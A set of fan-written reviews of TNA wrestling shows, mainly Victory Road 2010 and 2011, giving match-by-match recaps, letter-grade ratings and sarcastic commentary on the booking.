Does anyone else see this sucking harder than a Diva wanting to get a job? I miss Scott D’Amore. The guy was a fat joke but he was a decent talker and heel manager. Nothing great here but it’s kind of like the first Mania where the tag titles changed: it allows you to have a title change so the show is memorable and has some impact to steal a pun from myself.

Konnan finally gets the tag after a heel miscommunication (remember folks: TNA is breaking NEW ground!) spot and cleans house. It of course turns into a brawl with Roadie being fine after having his ass handed to him for about 4 minutes. D’Amore tries to use the hockey stick but Killings comes in for the save and a BAD looking X-Factor gives the Kru the titles.

Rating: C. It was average, plain and simple. This match could have been on any TV or house show or PPV and it would have been fine. At seven minutes long they didn’t have much time to get anything substantial going but still, this wasn’t much but it was fine for what it was I suppose.

Konnan would eventually become the manager for the team known as LAX before leaving TNA in 2007 over a benefits dispute. He would return to Mexico with AAA where he has been ever since.

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On This Day: July 11, 2010 – Victory Road 2010: RVD Is A Boring Champion

Victory Road 2010
Date: July 11, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Well I’m not wild on the card but they’ve done a great job of building up to this if nothing else. The main event just does nothing at all for me, but then again neither does the rest of the card. This isn’t going to be much, but the build has been good so maybe there’s some hope. I’ll be watching it out of order but there’s nothing I can do about that. Let’s get to it.

Intro video is just about the road to victory. Seriously is that all they can do for this show?

X Division Title: Brian Kendrick vs. Douglas Williams

This is Ultimate X/Submission which is about as odd of a combination as you could ask for. Williams almost immediately takes him to the mat as he’s afraid of heights. Well at least they’re giving Kendrick every possible out they can. Now let’s see how they manage to mess it up. Kendrick only goes for the Cobra Clutch and neither guy tries to climb yet.

In essence this is just a submission match with the Ultimate X aspect on the side. Naturally they couldn’t just do a submission match because they can advertise Ultimate X to boost buyrates. Who cares that it’s hardly used? They both go up the trellis thing and then Kendrick falls off. Yep he’s out cold. Williams gets some gloves to help him climb as he kills time.

He comes back up though and follows Williams across the ropes. Like an idiot he goes for the Cobra Clutch while hanging on to the ropes and falls backwards, smashing his head into the mat. He was legitimately injured or out cold. Williams throws a hold on him and the referee stops it. Something tells me that wasn’t the planned ending. They have to bring out smelling salts to wake him up.

Rating: D+. This was just pointless overkill again. There was one or at most two big spots as opposed to just doing the freaking submission match that they wanted to. The fear of heights thing was just forgotten, making the whole thing just completely pointless. This was overkill that didn’t work, but then again that’s TNA for you.

Christy is with Ray who says that just like Christy’s issue of Playboy, Jesse Neal is a failure. He gets in her face and makes her cry. We see the same recap video we saw on Impact which gives us nothing about why Bubba is mad but whatever.

Brother Ray vs. Brother DVon vs. Jesse Neal

Let’s get this over with. Ray comes out first and hides behind the set. He jumps Neal and there’s no D-Von. We cut to the back where D-Von is locked in his dressing room, presumably by Bubba. Clearly the cameraman has no arms because he doesn’t let him out which would involve moving a board. Oh look: more kind of false advertising as it’s the same match from last month.

Again we hear about how much Neal’s life has sucked. We get it already guys, let it go. No one cares about Neal and that’s all there is to it. This is nothing but basic stuff as we’re all just waiting for D-Von to come running out for the big save or beatdown or whatever. Ray of course uses the big boot because that’s all anyone uses for a big strike anymore. The ECW guys are here.

They distract Bubba a bit and Neal gets a spear for two. Shannon Moore comes down for a save which lets Ray hit Neal with a chair. D-Von finally comes out and there’s a staredown. They both look at Jesse and then slug it out. Neal accidentally spears D-Von and a Bubba Bomb ends it. D-Von was in the ring for maybe a minute total.

Rating: F. This was false advertising if nothing else. This was a one on one match with two run-ins. What was the point to this? Just do 3D vs. Ink Inc like you want to do. No one cares about this feud and no one wants to see Bubba vs. D-Von, so of course that’s what we’re going to get.

We recap Love vs. Rayne which shows why the division completely sucks anymore. The BP and Love are the only ones in the division worth anything anymore and that’s not saying much.

Knockouts Title: Madison Rayne vs. Angelina Love

If Rayne wins then Love retires and she can lose the belt by DQ. We start with a big slugout. Rayne is in skin colored clothes. And remember people: these chicks are WAY better than the Divas and don’t you forget it. I really can’t stand this division anymore as it’s somehow more of a joke than WWE.

Rayne wraps her legs around Love’s head and slams it face first into the mat. Her finisher doesn’t work and Love makes her comeback. Rayne brings in a chair and gets it kicked into her face. Can we get on with this? And here’s a chick on a motorcycle. She jumps Love and the referee determines that since she’s either Velvet or Lacey (she’s in a helmet) Rayne is disqualified and Love is champion. Rayne leaves with the chick that just cost her the belt of course. Allegedly it’s Tara, because she retired recently and therefore has to come back immediate.

Rating: D-. This was somehow less interesting than the previous match. This is the third straight title change that hasn’t involved the champion being pinned. Is there a point to this title anymore? Same with the girl tag titles. This is even more of a joke than I could have imagined. Whatever man.

We go back to Anderson who makes pot jokes and says nothing of note other than the signature line.

AJ Styles/Kazarian vs. ???/???

AJ and Kaz can’t get along so of course they’re going to win. The surprises are Terry and Joe. Sure, why not have a guy that is a champion be brought in as a surprise? We can’t have him fight for the title on PPV when we have Ray vs. Neal II!!! AJ vs. Terry start us off and AJ tags out in seconds. The surprise team completely dominates for the early few minutes as you would expect.

AJ and Kaz are getting along quite well. Oh and remember: this isn’t about the wrestlers. This is about impressing Flair. AJ isn’t here for titles. He’s here to make sure Flair is happy. TNA makes my head hurt at times. Instead of going with AJ as the top guy, he’s running around imitating Flair and trying to make him happy. It’s more of TNA wasting what they have for angles that they think people actually want to see.

Instead of talking about the match, we talk about the ranking system. This is ALL Terry/Joe. Ah wait we can talk about Flair a bit now. Wolfe of all people comes down for interference (he jobbed in a dark match of course) and Kaz takes over. AJ hits the springboard 450 on Terry for the pin. They didn’t argue ONCE. Joe beats up Wolfe post match.

Rating: D+. Oh how I hate TNA at times. This could have been a decent match but instead it made no sense from the storyline perspective. The heels have been about to explode for weeks and now they’re all fine and best friends? Also, this is once again about Flair. That’s who the majority of the commentary is about and all that jazz. Just a waste of talent and an angle.

Abyss likes his nail board.

Recap of Morgan vs. Hernandez. Morgan got all cocky and injured Hernandez. Hernandez wants revenge. I love simple angles.

Matt Morgan vs. Hernandez

This is a cage match with escape only rules. I like the look of the cage. Hernandez is freaky in all definitions of the word. Has steel ever been forgiving? In a match based around revenge, Morgan is dominating. I really can’t stand TNA at times. The crowd has been oddly dead for the majority of the match. Hernandez gets on the top and Morgan hits the Carbon Footprint.

This is ALL Morgan. He gets a foot out the door and then just comes back in. To be fair he’s a great heel, but this goes completely against the whole Morgan runs from Supermex and Hernandez wanting revenge that has been built up for months. Hernandez is busted open. We FINALLY get the comeback and his eyes look like he’s coked out of his mind. Hernandez can’t do the Border Toss so he tries it and of course botches it again. At least it came off looking like a power bomb.

He goes up top, as in top of the cage, and misses a splash on Morgan. Blueprint has handcuffs and Hernandez is caught. What is up with Russo’s obsession with handcuffs? Ok that’s not fair as they’ve been used for years. He just breaks them off as Morgan is climbing down and rams his head through the door to get out. So after all that, Hernandez just escapes with no real revenge. Sure why not?

Rating: D+. The psychology didn’t exist, Hernandez doesn’t gain anything, the ending is illogical, Hernandez looks weak and nothing is really solved. This was completely backwards and didn’t go anywhere at all. Not a horrible match, but just something that should have been far different and far better.

Flair talks about how great he is.

Tenay and Taz say exactly what Flair just said.

We get a video saying what Tenay and Taz just said.

Ric Flair vs. Jay Lethal

Come see a senior citizen get pounded! Lethal wears red and yellow as a tribute to Hogan. Seriously, can ANYTHING not be about Hogan or Flair in some way? Taz says Flair is Mr. Credibility. Taz now is fail. Sting can wear a shirt but Flair can’t? Once again the crowd is relatively dead. Flair only does simple stuff like thumbs to the eyes. Could it have anything to do with being 61?

Lethal hits a top rope superplex. Flair is just fine and goes after the knee. The fans chant for Flair, thereby showing how horrible they are at this. Flair of course switches knees halfway through, thereby making him look like an idiot. Figure Four of course doesn’t work and we go back and forth for a bit which borders on entertaining. And there’s Flair’s trunks going down to ruin it.

Ric gets a sleeper. I guess due to his age he needs a nap during matches now. Now Lethal goes for the knees. He gets the weakest chop block ever and puts on the Figure Four. Yep, Flair taps. Jay Lethal has just put a 61 year old man in a leg submission and made him give up. He cries of course because we have to make Flair look good in the end. I hate this company. I truly don’t.

Rating: D+. People want to say this is a huge deal for Lethal. I’m sorry, but no it isn’t. Lethal is what, 24? He beat a guy 37 years older than he is and it’s supposed to be impressive? If this was say 10 years ago it would mean something, but this is just worthless. Flair is a name, but that’s it. What does this prove? Lethal can beat up a guy who could have great grandchildren? Why am I supposed to be impressed? Flair hasn’t meant anything in years so this win is relatively worthless.

Hardy says he’ll win.

Tag Titles: Beer Money vs. Motor City Machine Guns

Ok so the Guns more or less have to win here. I like the Guns’ music. Storm and Shelley start us off. They’re doing a slow build to start us off as Taz says the Guns are the best team from their city, including the Tigers. Uh, deep? We get a Mel Torme reference of all things as we’re talking about tap dancing. Beer Money takes over and after a double vertical suplex they do their thing.

Shelley is getting beaten on. This is a good match so far so it’s hard to make jokes. Well other than Taz and Tenay who are always jokes. Ah there’s Sabin. I like him better than Shelley I think. We crank it up a bit and Sabin hits a running punt on Storm while he’s on the apron and Storm is on the floor. The crowd is getting back into it a bit too. Eye of the Storm gets two on Sabin.

I’m sorry for the excessive play by play here but that’s the main thing going on here. That made less than no sense but just go with it. We’ve lost any resemblance of a tag match here as it’s just all insanity. Maybe Heyman is booking the company. Everything just goes insane and this is awesome for once. The Guns dominate as Storm has a beer bottle. The referee gets beer spit in his face as the Guns hit a combination splash/neckbreaker on Roode for two.

There’s another referee here now and I have a bad feeling about this. It’s ALL Guns here as we’re going fast paced here. They hit their kick combination and cover Roode as Storm rolls Sabin up. The referees count a double pin and it’s Dusty Finish time. Earl, not the original referee, says restart it. The Guns win in like a minute with the same thing they did earlier, making the restart TOTALLY POINTLESS. Very good match though so I can’t complain much.

Rating: A-. This was a VERY good match. The main thing holding it back is the restart which was the walking definition of overbooking. What in the world is that supposed to help? Whatever it was I certainly don’t get it. The Guns are the champions, albeit nearly three years later. Still though, if they’re going to win them, at least win them in a classic I guess. Very good match all the way through. Loved it.

We recap Angle’s hunt through TNA’s top ten, which more or less is he beats up everyone to get to the top guy. Pope just happens to be the next guy. There’s no real heat between them. Pope just has the right number.

Kurt Angle vs. DAngelo Dinero

Angle is listed as #10, yet he’s beaten two guys and Pope is 8th. I love the TNA thinking. We start on the ground. I’m watching this out of order since I got home late so this is the first match I watched. They’re doing the red, white and blue ropes which is cool looking. They booked themselves into a corner here as Angle can’t really lose but Pope is returning and hasn’t won a big match in months. Angle hits a buckle bomb which is always great looking.

This is a solid match to start but they’re not going to have a ton of time unless this goes up until eleven. Kurt is winning but not dominating which is a good thing. Pope steals the Rolling Germans which doesn’t work. Only a handful of people can suplex Angle and he isn’t one of them. Angle’s all like boy I’ll show you Rolling Germans. Pope hits a Codebreaker and the fans are all behind Angle.

Angle Slam hits from nowhere for two. Why are announcers still surprised by that? I don’t get it. Ankle Lock goes on but Pope gets a rollup for two. Ankle Lock again on the mat and it’s over. This needed a bit more time but was entertaining.

Rating: B-. Not bad at all here. The match was never in doubt though which is what hurt it. Angle is in a groove at the moment and this was no exception. This doesn’t hurt Pope that much though as he’ll likely move on to Anderson now. Decent enough match though and certainly passable.

RVD isn’t worried about Abyss and says he’ll stick the nail board up Abyss.

No recap here. Good as it’s not needed.

TNA World Title: Mr. Anderson vs. Jeff Hardy vs. Rob Van Damvs. Abyss

Everybody goes for Abyss to start and it doesn’t work. The crowd is odd here for some reason. This goes nowhere as Abyss just gets up. Hardy and Anderson get him down for like a second and we’re into the usual formula here to an extent. Yep we’re in the formula. That’s fine though as it’s really the only way to do this.

We’re mostly just killing time thus far. The crowd seems a bit dead for some reason but maybe it’s just been a long show. Van Dam hits a split legged moonsault on Anderson for two as Hardy saves. Abyss is gone for the moment so I’m waiting on his return to break up a pin. Instead we get a Tower of Doom with RVD taking the big bump from it. The fans chant TNA for a heel doing a big move. That sums things up pretty well.

Everyone is in the ring now and RVD is in control. I have no idea why everyone is trying to beat Abyss. He’s supposed to be unhurtable but they keep going for him. The fans chant for Anderson. This is really just a bunch of near falls with moves on the side. It’s not bad, but it’s the hazard of multiple man matches. Mic Check on Abyss gets two. Black Hole to Hardy gets two. Abyss looks stupid counting the pin.

Anderson and Hardy finally go at it and it gets NOTHING. This crowd is just out of it. Remember who these fans are too. Abyss is on Hardy who is on Anderson so RVD hits the Five Star for the pin. Wow that was anticlimactic.

Post match Abyss beats up RVD and gets the nail board which misses everything. The show ends with Abyss holding the board and RVD looking at him. Yeah that was stupid.

Rating: D. This just didn’t do it for me. It could have been worse, but at the same time there just wasn’t anything at all special here. The ending to both the match and the show just completely sucked, but what did you really expect? I see no reason at all for RVD to retain there, so of course he did. Whatever.

Overall Rating: D. I’m sorry but this show just was not very good. Actually screw that. I’m not sorry as the psychology was gone, very little made sense from the TV shows building it up and there was one truly good match. Everything else was either boring, confusing, or predictable.

 

RVD retains, likely setting up RVD vs. Abyss at Hard Justice in a match that should have been here. The Dudleys aren’t done yet so that solved nothing. Angle wins as you would expect him to and Lethal beat up a 60+ year old man. Someone tell me what good came from this other than the Guns’ win. Just a totally lackluster show. See the tag match though.

 

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On This Day: March 20, 2012 – Xplosion: I See Why They Don’t Talk About This Show

Xplosion
Date: March 20, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Eric Bischoff

Eric Young vs. Kazarian

We close things out with the Ultimate X match for the X Title at Victory Road 2011.

X-Division Title: Kazarian vs. Max Buck vs. Jeremy Buck vs. Robbie E

 

Kaz is defending coming in. The idea here is the title is hung over the ring on cables that cross to form an X. You have to climb across to grab the title and can’t use a ladder. It’s supposed to be all about Kaz remember. This is the 24th Ultimate X match in history apparently and Kaz’s, who is defending fifth. This is kind of a weird triple that with Gen Me vs. Robbie vs. Kaz. The team beats up both guys to start us off.

 

Kaz fights them off for a bit and manages a springboard up to the X in a cool spot. That gets him nowhere as Robbie comes in and stomps away. Max goes up but it’s Robbie stopping him. Cookie is hot but the voice is annoying. Gen Me gets everyone down and goes for the belt until Robbie stops them again. Kaz is back in now and faces off with Jersey Boy.

 

Robbie escapes the Fade to Black (that reverse Piledriver) and gets backdropped to the floor, hitting his ankle on the steps. Gen Me wakes up again and takes down both guys one more time. Jeremy gets a sweet assisted moonsault to take Robbie and Kaz down. Max is all alone but wants Jeremy to help him up instead. Jeremy holds off Kaz and Max makes a run at it. Kaz of course saves as Robbie has a bad ankle still.

 

Double dropkick puts down Kaz and a baseball slide does the same to Robbie. Jeremy does this weird reverse jump to get up and holds off Kaz. This again fails and Maz, who also was trying to get the belt, is swung backwards and gets knocked off and caught in a cutter to put him down. Robbie gets up and goes for the title, only to get pulled down by Max. And never mind as Max is sent into the structure by Kaz and gets stuck. That’s different if nothing else.

 

Everyone is down now and Max is unhooked for a change. Kaz hits Fade to Black on Robbie but gets kicked by Jeremy. Jeremy tries to go up only to take an enziguri from the champion to put him down. Flux Capacitor (suplex/rock bottom) off the top by Kaz puts Jeremy down again. Robbie and Kaz both go across at the same time. Gen Me kicks Robbie down and swing the champion down too in a nice bump.

 

Jeremy goes up and Max is ticked. Max pulls him down which is the point of the match. They both go from opposite corners and both are hung by their legs upside down in the middle. They slug it out up there until Robbie grabs a ladder to take them down. Kaz goes above the X and grabs the title at the same time as Robbie. Kaz pulls it up but there’s no bell. Oh there it is.

 

Rating: C+. It’s ok but this is a match that has been done so many times that there wasn’t much here. It’s definitely one of the weaker matches they’ve had with this gimmick but it’s still good. Fun match but they kept trying to play up the Bucks only for them to break up and not play a factor in the end. Fun, but definitely not great.

http://kbwrestlingreviews.com/2012/03/18/victory-road-2012-i-want-to-punch-twitter-in-the-face/

Remember to follow me on Twitter @kbreviews




On This Day: March 13, 2011 – Victory Road 2011: The Jeff Hardy Disaster

Victory Road 2011
Date: March 13, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Well this is TNA’s offering for the month. It’s another show with the majority of it added on at the very end with no real build to it. Yes there are stories for the matches, but that doesn’t mean there’s justification for asking something like 40 dollars for a show. The main event is the rematch of Sting vs. Jeff Hardy and the third #1 contender situation for Anderson. Let’s get to this as it’s one of the least interesting shows I can remember in forever.

The opening video is the Sting mask being crawled on by a scorpion. Wow they’re banking a lot on this push.

Bully Ray vs. Tommy Dreamer

 

Pre match Ray runs his mouth about how awesome Hogan and Bischoff are for letting him have a run. Dreamer comes out and Ray talks about how he’s run Dreamer into the ground over the years and mentions breaking his wife’s neck. This is now hardcore. They brawl to start us off and Dreamer sends him to the floor as we imply Ray going to Immortal. Well if they want to drive it off a cliff why not?

A fan holds a up a chair and Dreamer rams Bubba into it. There’s some water spit into Bubba’s head. This is opening a PPV in 2011. Dreamer grabs some big yellow stuffed animal (apparently from Despicable Me) to drill Ray with. Into the crowd now as my head is already hurting from this. Granted that might be due to Florida getting a 2 seed in the NCAA tournament but who knows.

They go into the balcony with the traditional carry the guy around style. Dreamer hits him in the head with something that looked like it was made of metal to continue his dominance so far. Back to ringside with Bubba getting in a big shot with some other unidentifiable weapon. Crowd is hating on Ray pretty well. He’s played the character well, but why in the world is it Bubba Ray Dudley getting this push?

Ray goes after Dreamer’s hand which only works to an extent. Dreamer throws some garbage cans with weapons into the ring. Good thing he had those just in case this was made hardcore I guess. They have a road block thing that has a name that I can’t think of in there. It’s the orange/white fence thing that is moved up when you drive through it. And there’s an inflatable doll in there which Bubba lands in a 69 position with.

Splash on the doll onto Bubba gets two. Ray gets a trashcan lid shot to the head of Dreamer as Dreamer goes up top. Superplex gets no cover. Bubba Bomb is blocked into a DDT for two. Dreamer brings in a table (moving it off the love doll) which is set up in the ring like a small ramp. The fans want D-Von as Ray gets a spinning Rock Bottom for two. He sets the table for Dreamer and calls out at D-Von. The kids of D-Von come out as does D-Von and Ray takes a 3D through the table to end it.

Rating: D+. There was a blowup doll in this as well as a Despicable Me doll. I get that it’s a comedy match, but dude it’s Tommy Dreamer vs. Bubba Ray Dudley opening a PPV in a semi-comedy match in the year 2011. Just get to the table match that is coming for Bubba vs. D-Von so they can move into midcard purgatory.

Winter and the Beautiful People insist they’re cool. Winter says the issues have been Velvet’s fault. This gets a WTF look from Velvet.

Knockout Tag Titles: Rosita/Sarita vs. Winter/Angelina Love

 

The Mexican chicks say basic Spanish stuff. Winter is blindfolded or something and there’s no Velvet, making me think the titles are changing here. Rosita and Angelina start us off but it’s off to Winter quickly as the champions are dominating. Bridging Northern Lights gets two. Angelina back in now as the fans chant USA for two Mexican chicks, Angelina (Canadian) and the British chick Winter.

Sarita is in now and has about as much luck as Rosita had. There’s some heel cheating and Rosita misses a front flip legdrop that was aimed at Angelina’s ankles. More fast tags by the champions as they regain control quickly. Everything breaks down slightly and Sarita grabs a belt. She drops it and Rosita gets ahold of it but Velvet runs in to steal it. Winter rolls her up but no referee. Rosita reverses it and wins the titles with a pin.

Rating: D. Well this was predictable. I don’t think this lasted very long but I don’t time PPV matches so it’s not like it matters. Granted these titles have been worthless since they debuted. Velvet has to explain herself. Wouldn’t Winter know that she was never hit by a belt and that would be enough validation? Whatever.

We’re going to have the Jarretts on vacation tonight. They’re at Universal Studios and Karen is bored out of her mind with the rollercoasters. The kids are with them and Karen hates the kid stuff.

Morgan talks about (Shawn) Hernandez and how the Mexican company dropped him. Morgan says that after this he’s going after the world title. The recap for the match is just that Hernandez came back and played the race card, setting this up. He’s in Immortal also.

Hernandez vs. Matt Morgan

 

This is first blood. Hernandez came out to the LAX theme which is a rarity. They head to the floor almost immediately as Morgan rushes the ring. Hernandez gets a sharp wooden stick and tries to jab it into Morgan’s face ala Magnum TA vs. Tully Blanchard. I apologize for comparing this to a classic like that. Hernandez ribs as the face as the fans want blood. Morgan fights back by a side slam.

Hernandez hits a Pounce as we hear about how awesome he was in AAA. He was so awesome he wasn’t at their biggest show of the year last year. Hernandez hammers away until Morgan gets a discus lariat. This is rather boring if you didn’t get that. Fall away slam continues Morgan’s lack of head shots. He grabs the stick from earlier but gets kicked in the gut to drop it.

A fan runs in and Hernandez pulls out a chain. Morgan kicks it out of his hand and drills Hernandez with it. The referee is down and Hernandez is busted open. Hernandez comes out of the corner and sprays Morgan with something that looks like fake blood or something like that. The other referee comes out of the back (I guess not watching on a monitor or something) and gives it to Hernandez.

Rating: F+. Well the ending was original as I don’t think I’ve ever seen that done. However, this is more or less every other first blood match with the heel bleeding and getting the win anyway in a screwy finish. This was nothing at all of note, but granted you can say that about the first 45 minutes entirely here of Impact on Sunday.

It’s Max Buck’s birthday and he works as a team with his brother. Shenanigans are implied.

Kazarian interviews JB in a weird moment. He busts out a Charlie Sheen reference, making me want to end Kazarian.

Robbie E yells at someone that we can’t see. Cookie is panicking about Ultimate X and Robbie says he’s fine. This was idiotic if you didn’t get that.

Video on Ultimate X. It’s so awesome that it got thrown on at the last minute.

X-Division Title: Kazarian vs. Max Buck vs. Jeremy Buck vs. Robbie E

 

The idea here is the title is hung over the ring on cables that cross to form an X. You have to climb across to grab the title and can’t use a ladder. It’s supposed to be all about Maz remember. This is the 24th Ultimate X match in history apparently and Kaz’s fifth. This is kind of a weird triple that with Gen Me vs. Robbie vs. Kaz. The team beats up both guys to start us off.

Kaz fights them off for a bit and manages a springboard up to the X in a cool spot. That gets him nowhere as Robbie comes in and stomps away. Max goes up but it’s Robbie stopping him. Cookie is hot but the voice is annoying. Gen Me gets everyone down and goes for the belt until Robbie stops them again. Kaz is back in now and faces off with Jersey Boy.

Robbie escapes the Fade to Black (that reverse Piledriver) and gets backdropped to the floor, hitting his ankle on the steps. Gen Me wakes up again and takes down both guys one more time. Jeremy gets a sweet assisted moonsault to take Robbie and Kaz down. Max is all alone but wants Jeremy to help him up instead. Jeremy holds off Kaz and Max makes a run at it. Kaz of course saves as Robbie has a bad ankle still.

Double dropkick puts down Kaz and a baseball slide does the same to Robbie. Jeremy does this weird reverse jump to get up and holds off Kaz. This again fails and Maz, who also was trying to get the belt, is swung backwards and gets knocked off and caught in a cutter to put him down. Robbie gets up and goes for the title, only to get pulled down by Max. And never mind as Max is sent into the structure by Kaz and gets stuck. That’s different if nothing else.

Everyone is down now and Max is unhooked for a change. Kaz hits Fade to Black on Robbie but gets kicked by Jeremy. Jeremy tries to go up only to take an enziguri from the champion to put him down. Flux Capacitor (suplex/rock bottom) off the top by Kaz puts Jeremy down again. Robbie and Kaz both go across at the same time. Gen Me kicks Robbie down and swing the champion down too in a nice bump.

Jeremy goes up and Max is ticked. Max pulls him down which is the point of the match. They both go from opposite corners and both are hung by their legs upside down in the middle. They slug it out up there until Robbie grabs a ladder to take them down. Kaz goes above the X and grabs the title at the same time as Robbie. Kaz pulls it up but there’s no bell. Oh there it is.

Rating: C+. It’s ok but this is a match that has been done so many times that there wasn’t much here. It’s definitely one of the weaker matches they’ve had with this gimmick but it’s still good. Fun match but they kept trying to play up the Bucks only for them to break up and not play a factor in the end. Fun, but definitely not great.

More honeymoon stuff and Karen wants champagne. Instead it’s a pizza. Next up: a water park.

Beer Money hits on Christy and try to get her to do the BEER MONEY thing. Basically it’s to hit on her and stare at her. Can’t say I blame them. They get serious and say they’re awesome but Ink Inc is overstepping their bounds. Something about respect is mentioned.

We recap the feud, which was Ink Inc saying they want a title shot and Beer Money saying ok.

Tag Titles: Ink Inc vs. Beer Money

 

I could see this being good. Neal vs. Storm starts us off With no one taking over we get a double tag and some technical stuff follows. The fans are split which makes sense for once as they’re both face teams. Moore gets a leg lariat for two. Neal comes in now and takes a powerslam for two. This is taking a bit to get off the ground here.

Moore back in now and we hit the chinlock. They do some basic stuff and it’s one of those moments where stuff happens but nothing is going on. It’s ok but there is no interest in this at all. It could be because there’s no history here and it’s there for the sake of having a title match. Roode gets a spinebuster on Neal for two. Ink Inc takes over again as Taz isn’t even sure who is legal.

Roode gets the formerly Northern Lariat (clothesline to the back of the head) to Neal and goes up top with Moore. Down goes Roode and a Whisper in the Wind to Storm gets no cover. Roode with a Rock Bottom for two. BEER MONEY thing kind of gets the crowd hot but Neal hits the spear on Storm. Neckbreaker gets two on Roode. Moore wants to use the chain but Neal disagrees. Beer Money comes back and the DWI ends Moore. I guess they’re splitting one of the two active teams worth anything.

Rating: C+. This was just there for the most part. It wasn’t great at all but it wasn’t bad. Like I said: just kind of there. The total lack of story hurt it a lot which is due to the booking and not the guys. This wasn’t bad but it was really not interesting at all. Granted that might be Shannon Moore.

Neal shakes their hands post match but Moore spits beer in their faces, I guess turning heel. He talks about having to be tough to win. Whatever.

Matt Hardy talks about how he’s cold blood/cold blooded and will hurt AJ.

AJ Styles vs. Matt Hardy

 

This is just Immortal vs. Fourtune. AJ uses speed to take over and grabs a front facelock. Sweet dropkick takes Matt down. Flair interferes and here comes Matt. Here come the dueling chants also. Matt has the braided hair back too. He’s in jeans and no armbands either, making him look like a bum.

Out to the floor again where AJ is sent into the post. He counters by hitting his always awesome slide under the railing and springboard forearm. Back in the ring now with AJ taking over for awhile. Matt sends him to the floor and Flair hammers away. That’s Lockdown for these two next month people. Back in Matt grabs a submission hold which is like a body vice. Picture him setting for a double arm DDT and jumping up to wrap his legs around AJ. It looked good if nothing else.

The rope is reached so it’s not like it means anything. Taz says there’s no escape to it, which is stupid as AJ just escaped. Flair grabs AJ’s balls for a bit and Matt grabs a cravate. This is boring as heck if that wasn’t clear. AJ comes back and hammers away as the crowd seems a bit restless. Enziguri puts Matt down and AJ does the same. More punching follows and a big kick to the head sets up a backbreaker for two.

AJ misses a discus lariat and the Side Effect gets two. This needs to end rather soon here. Matt gets an elbow to the back of AJ’s head and it’s Twist of whatever time. It’s blocked into a backslide for two and down goes AJ again. AJ gets back up and tries the Clash but Matt escapes that and gets two. Styles kind of botches his backflip into the reverse DDT but Flair distracts the referee.

Flair pokes AJ in the eye and takes a Pele for his efforts. Matt gets a DDT and a moonsault for two. END THIS ALREADY. Hey they listen to me as AJ takes Matt down and Spiral Tap of all things which AJ hasn’t used in years (it’s a top rope twisting moonsault/splash) gets him the pin.

 

Rating: D+. AJ was good, Matt was sluggish. What else were you expecting here? For the life of me I don’t get why people see money in Matt Hardy as he’s just big and slow at this point with the fans cheering him for some reason. AJ needs to just beat Flair and get it over with already. At least Matt didn’t win so there is that at least.

Back to the honeymoon with Karen snapping on Jeff. She wants sex apparently. Jeff thinks she means Kurt. This storyline has died so many times it’s insane. Thursday on Impact Jeff is going to call for a truce. They’re not sure where their kids are but they all get soaked. Jeff has been a total face the entire night now.

Anderson talks about getting screwed over and more or less says he’s a tweener.

We recap RVD vs. Anderson. In short, they both want the title and both say they got screwed. Somehow we’re talking about football. They’re grasping at whatever straws grasp at to come up with a backstory for this match. They talk about Lockdown in the voiceover but I stopped caring a long time ago.

Rob Van Dam vs. Mr. Anderson

 

This is ANOTHER #1 contenders match for Anderson after he won one already. They stare it down to start and it’s dueling chant time with Anderson’s being louder. Technical stuff goes on and it’s a standoff. More technical stuff follows as I think this is supposed to be an epic match. They botch a leapfrog spot with Van Dam taking a head to the balls. This show is almost a comedy of errors at this point.

Rolling Thunder to Anderson as I just want this match to end at this point. Spinning legdrop to the railing misses Anderson and the leg hits the railing to give Anderson control. Anderson works the leg and it’s all basic stuff here. Mic Check is blocked and Rolling Thunder doesn’t work either. Van Dam gets a suplex to put both guys down.

Both guys go down again and this is just dragging like every other match so far. Van Dam goes shoulder first into the post and they ram heads to go down AGAIN. Now they head to the floor off a cross body and they lay around AGAIN. Anderson gets the Mic Check on the stage and Van Dam is more of less dead.

And it’s a double count out. The fans boo the HECK out of that and I’d be with them. This somehow was 15 minutes long. Where in the world was the 15 minutes? Oh and look: MORE multi-man title matches. The fans chant to restart it and half chant no. Now it’s a 5 more minutes chant. Get on with it already.

Rating: F. This was just boring and the ending hurt it even more. They have zero chemistry together and this show has sucked so hard so far that this made it even worse. It’s obvious they’re doing a multi-man match at Lockdown but that isn’t helping anything as far as tonight goes. This is one of the worst PPVs I’ve seen in a very long time which is saying a lot when it comes to TNA.

We recap Sting winning the title on 3/3. He was a surprise, read the other reviews for the details.

Hardy says that he was treated unfairly and he’ll win tonight to bring everyone back to reality.

Sting talks about getting into the business and it’s music video time. I’ve heard this interview before. Probably was on Impact or something. Yeah I think it was. He was at home and felt a burn. Call a doctor dude.

TNA World Title: Jeff Hardy vs. Sting

 

It’s 10:30 and Jeff is wasting time getting to the ring. Before the match Bischoff comes out to waste MORE time. He makes it No DQ which somehow takes like two minutes. Sting drops him and the Scorpion Death Drop ends this in less than a minute. That was their first contact of the “match.” I kid you not. Are they serious?

We get a highlight video to fill in 6 minutes to end the show.

Overall Rating: F-. The show has been over for 15 minutes now (final bell rang at 10:38) and I don’t know what to say. Early word is that Hardy was in no condition to perform. If that’s the case, TNA’s creative and management team all should refund the fan’s money and resign. You had 150 minutes to come up with ANYTHING else to put out there and this is what they gave us. Put Bully Freaking Ray out there and it’s a better than this.

I’m still not sure what to think about what just happened but this is awful even by TNA standards. It’s a big slap in the face to the people that bought this show and they’ve cost themselves dearly. I was going to go to Lockdown and now I have no interest in going at all. Absolutely awful ending and a disgrace all around. Jeff being high or not, you do not let this happen. Period.

As for the rest of the show, it was bad. There was nothing at all of note worth seeing and that makes the ending even worse. This show didn’t need to happen at the end of the day. It’s a speed bump on the road to Lockdown and nothing was advanced here. Now, because of this, TNA has another fire to put out. I have no idea where they go from here but it’s nowhere good.

Results

Tommy Dreamer b. Bully Ray – 3D with help from D-Von

Rosita/Sarita b. Winter/Angelina Love – Rollup to Winter

Hernandez b. Matt Morgan – Hernandez squirted blood on Morgan

Kazarian b. Max Buck, Jeremy Buck and Robbie E – Kazarian pulled down the Title

Beer Money b. Ink Inc – DWI to Moore

AJ Styles b. Matt Hardy – Spiral Tap

Mr. Anderson vs. Rob Van Dam went to a double countout

Sting b. Jeff Hardy – Scorpion Death Drop

Remember to follow me on Twitter @kbreviews




Victory Road 2012: I Want To Punch Twitter In The Face

Victory Road 2012
Date: March 17, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

